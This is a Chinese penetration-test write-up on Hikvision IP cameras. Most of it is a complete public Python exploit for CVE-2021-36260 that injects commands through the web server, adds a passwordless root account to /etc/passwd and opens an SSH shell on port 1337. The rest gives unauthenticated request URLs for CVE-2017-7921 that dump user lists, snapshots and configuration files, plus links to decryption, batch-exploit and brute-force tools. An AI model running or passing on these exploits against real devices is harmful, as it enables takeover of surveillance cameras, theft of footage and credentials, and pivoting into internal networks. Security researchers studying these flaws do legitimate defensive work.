前情提要
在经允许和授权的前提下,对内网的摄像机进行了渗透测试。海康威视旗下的摄像头几乎都存在着严重的安全漏洞,在学校和政府机关中有数百上千个。但除了安全意识较强的公安系统控制的摄像头以外,其他场所的摄像头往往并不注重于固件更新,使用的几乎都是 2020 年前的固件。这些版本都存在着两个严重的漏洞:CVE-2021-36260, CVE-2017-7921.
CVE-2021-36260
漏洞概述
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
海康威视摄像机最近的大多数摄像机产品系列都容易受到严重的远程未经身份验证的代码执行漏洞的影响。一些 NVR 也受到影响,尽管这种影响不那么普遍。
CVE-2021-36260 漏洞允许攻击者通过不受限制的 root shell
(/bin/sh
)获得对设备的完全控制,这比设备所有者拥有的访问权限要多得多,因为他们被限制在有限的“受保护的
shell”(/bin/psh
)中,它将输入过滤到预定义的集合有限的,主要是信息性命令。
除了完全入侵 IP 摄像头之外,还可以访问和攻击内部网络。
这是最高级别的严重漏洞。一个影响大量海康威视摄像机的零点击未经身份验证的远程代码执行 (RCE) 漏洞。
只需要访问 http(s) 服务器端口(通常为 80/443)。不需要用户名或密码,也不需要由相机所有者发起任何操作。它不会被相机本身的任何日志检测到。
PoC
公开 PoC.
# Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
# All credit to Watchful_IP
#!/usr/bin/env python3
"""
Note:
1) This code will _not_ verify if remote is Hikvision device or not.
2) Most of my interest in this code has been concentrated on how to
reliably detect vulnerable and/or exploitable devices.
Some devices are easy to detect, verify and exploit the vulnerability,
other devices may be vulnerable but not so easy to verify and exploit.
I think the combined verification code should have very high accuracy.
3) 'safe check' (--check) will try write and read for verification
'unsafe check' (--reboot) will try reboot the device for verification
[Examples]
Safe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check
Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot
Unsafe vulnerability/verify check:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot
Launch and connect to SSH shell:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell
Execute command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"
Execute blind command:
$./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"
$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
[--reboot] [--shell] [--cmd CMD]
[--cmd_blind CMD_BLIND] [--noverify]
[--proto {http,https}]
optional arguments:
-h, --help show this help message and exit
--rhost RHOST Remote Target Address (IP/FQDN)
--rport RPORT Remote Target Port
--check Check if vulnerable
--reboot Reboot if vulnerable
--shell Launch SSH shell
--cmd CMD execute cmd (i.e: "ls -l")
--cmd_blind CMD_BLIND
execute blind cmd (i.e: "reboot")
--noverify Do not verify if vulnerable
--proto {http,https} Protocol used
$
"""
import os
import argparse
import time
import requests
from requests import packages
from requests.packages import urllib3
from requests.packages.urllib3 import exceptions
class Http(object):
def __init__(self, rhost, rport, proto, timeout=60):
super(Http, self).__init__()
self.rhost = rhost
self.rport = rport
self.proto = proto
self.timeout = timeout
self.remote = None
self.uri = None
""" Most devices will use self-signed certificates, suppress any warnings """
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
self.remote = requests.Session()
self._init_uri()
self.remote.headers.update({
'Host': f'{self.rhost}:{self.rport}',
'Accept': '*/*',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'en-US,en;q=0.9,sv;q=0.8',
})
"""
self.remote.proxies.update({
# 'http': 'http://127.0.0.1:8080',
})
"""
def send(self, url=None, query_args=None, timeout=5):
if query_args:
"""Some devices can handle more, others less, 22 bytes seems like a good compromise"""
if len(query_args) > 22:
print(f'[!] Error: Command "{query_args}" to long ({len(query_args)})')
return None
"""This weird code will try automatically switch between http/https
and update Host
"""
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
self.proto = 'https' if self.proto == 'http' else 'https'
self._init_uri()
try:
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
except requests.exceptions.ConnectionError:
return None
except requests.exceptions.RequestException:
return None
except KeyboardInterrupt:
return None
"""302 when requesting http on https enabled device"""
if data.status_code == 302:
redirect = data.headers.get('Location')
self.uri = redirect[:redirect.rfind('/')]
self._update_host()
if url and not query_args:
return self.get(url, timeout)
else:
data = self.put('/SDK/webLanguage', query_args, timeout)
return data
def _update_host(self):
if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:
self.remote.headers.update({
'Host': self.uri[self.uri.rfind('://') + 3:],
})
def _init_uri(self):
self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))
def put(self, url, query_args, timeout):
"""Command injection in the <language> tag"""
query_args = '<?xml version="1.0" encoding="UTF-8"?>' \
f'<language>$({query_args})</language>'
return self.remote.put(self.uri + url, data=query_args, verify=False, allow_redirects=False, timeout=timeout)
def get(self, url, timeout):
return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)
def check(remote, args):
"""
status_code == 200 (OK);
Verified vulnerable and exploitable
status_code == 500 (Internal Server Error);
Device may be vulnerable, but most likely not
The SDK webLanguage tag is there, but generate status_code 500 when language not found
I.e. Exist: <language>en</language> (200), not exist: <language>EN</language> (500)
(Issue: Could also be other directory than 'webLib', r/o FS etc...)
status_code == 401 (Unauthorized);
Defiantly not vulnerable
"""
if args.noverify:
print(f'[*] Not verifying remote "{args.rhost}:{args.rport}"')
return True
print(f'[*] Checking remote "{args.rhost}:{args.rport}"')
data = remote.send(url='/', query_args=None)
if data is None:
print(f'[-] Cannot establish connection to "{args.rhost}:{args.rport}"')
return None
print('[i] ETag:', data.headers.get('ETag'))
data = remote.send(query_args='>webLib/c')
if data is None or data.status_code == 404:
print(f'[-] "{args.rhost}:{args.rport}" do not looks like Hikvision')
return False
status_code = data.status_code
data = remote.send(url='/c', query_args=None)
if not data.status_code == 200:
"""We could not verify command injection"""
if status_code == 500:
print(f'[-] Could not verify if vulnerable (Code: {status_code})')
if args.reboot:
return check_reboot(remote, args)
else:
print(f'[+] Remote is not vulnerable (Code: {status_code})')
return False
print('[!] Remote is verified exploitable')
return True
def check_reboot(remote, args):
"""
We sending 'reboot', wait 2 sec, then checking with GET request.
- if there is data returned, we can assume remote is not vulnerable.
- If there is no connection or data returned, we can assume remote is vulnerable.
"""
if args.check:
print('[i] Checking if vulnerable with "reboot"')
else:
print(f'[*] Checking remote "{args.rhost}:{args.rport}" with "reboot"')
remote.send(query_args='reboot')
time.sleep(2)
if not remote.send(url='/', query_args=None):
print('[!] Remote is vulnerable')
return True
else:
print('[+] Remote is not vulnerable')
return False
def cmd(remote, args):
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd}>webLib/x')
if data is None:
return False
data = remote.send(url='/x', query_args=None)
if data is None or not data.status_code == 200:
print(f'[!] Error execute cmd "{args.cmd}"')
return False
print(data.text)
return True
def cmd_blind(remote, args):
"""
Blind command injection
"""
if not check(remote, args):
return False
data = remote.send(query_args=f'{args.cmd_blind}')
if data is None or not data.status_code == 500:
print(f'[-] Error execute cmd "{args.cmd_blind}"')
return False
print(f'[i] Try execute blind cmd "{args.cmd_blind}"')
return True
def shell(remote, args):
if not check(remote, args):
return False
data = remote.send(url='/N', query_args=None)
if data.status_code == 404:
print(f'[i] Remote "{args.rhost}" not pwned, pwning now!')
data = remote.send(query_args='echo -n P::0:0:W>N')
if data.status_code == 401:
print(data.headers)
print(data.text)
return False
remote.send(query_args='echo :/:/bin/sh>>N')
remote.send(query_args='cat N>>/etc/passwd')
remote.send(query_args='dropbear -R -B -p 1337')
remote.send(query_args='cat N>webLib/N')
else:
print(f'[i] Remote "{args.rhost}" already pwned')
print(f'[*] Trying SSH to {args.rhost} on port 1337')
os.system(f'stty echo; stty iexten; stty icanon; \
ssh -o StrictHostKeyChecking=no -o LogLevel=error -o UserKnownHostsFile=/dev/null \
P@{args.rhost} -p 1337')
def main():
print('[*] Hikvision CVE-2021-36260\n[*] PoC by bashis <mcw noemail eu> (2021)')
parser = argparse.ArgumentParser()
parser.add_argument('--rhost', required=True, type=str, default=None, help='Remote Target Address (IP/FQDN)')
parser.add_argument('--rport', required=False, type=int, default=80, help='Remote Target Port')
parser.add_argument('--check', required=False, default=False, action='store_true', help='Check if vulnerable')
parser.add_argument('--reboot', required=False, default=False, action='store_true', help='Reboot if vulnerable')
parser.add_argument('--shell', required=False, default=False, action='store_true', help='Launch SSH shell')
parser.add_argument('--cmd', required=False, type=str, default=None, help='execute cmd (i.e: "ls -l")')
parser.add_argument('--cmd_blind', required=False, type=str, default=None, help='execute blind cmd (i.e: "reboot")')
parser.add_argument(
'--noverify', required=False, default=False, action='store_true', help='Do not verify if vulnerable'
)
parser.add_argument(
'--proto', required=False, type=str, choices=['http', 'https'], default='http', help='Protocol used'
)
args = parser.parse_args()
remote = Http(args.rhost, args.rport, args.proto)
try:
if args.shell:
shell(remote, args)
elif args.cmd:
cmd(remote, args)
elif args.cmd_blind:
cmd_blind(remote, args)
elif args.check:
check(remote, args)
elif args.reboot:
check_reboot(remote, args)
else:
parser.parse_args(['-h'])
except KeyboardInterrupt:
return False
if __name__ == '__main__':
main()
CVE-2017-7921
漏洞概述
可以通过 Web 界面,无需授权,下载配置文件和获取监控图像。
PoC
检索用户与用户列表
http://your-ip/Security/users?auth=YWRtaW46MTEK
获取监控快照
http://your-ip/onvif-http/snapshot?auth=YWRtaW46MTEK
下载摄像头配置文件
http://your-ip/System/configurationFile?auth=YWRtaW46MTEK
海康威视的配置文件为 AES 加密,但是可以破解。
https://github.com/WormChickenWizard/hikvision-decrypter
批量 Exp: https://github.com/JrDw0/CVE-2017-7921-EXP
弱口令爆破
海康威视对 IP 有登录限制。
https://github.com/duchengyao/hkdvr_login/tree/master
Reference
- https://www.hyluz.cn/post/54480.html
- https://www.freebuf.com/vuls/278336.html
- https://blog.csdn.net/weixin_44268918/article/details/128577850
- https://blog.csdn.net/qq_46527139/article/details/111565277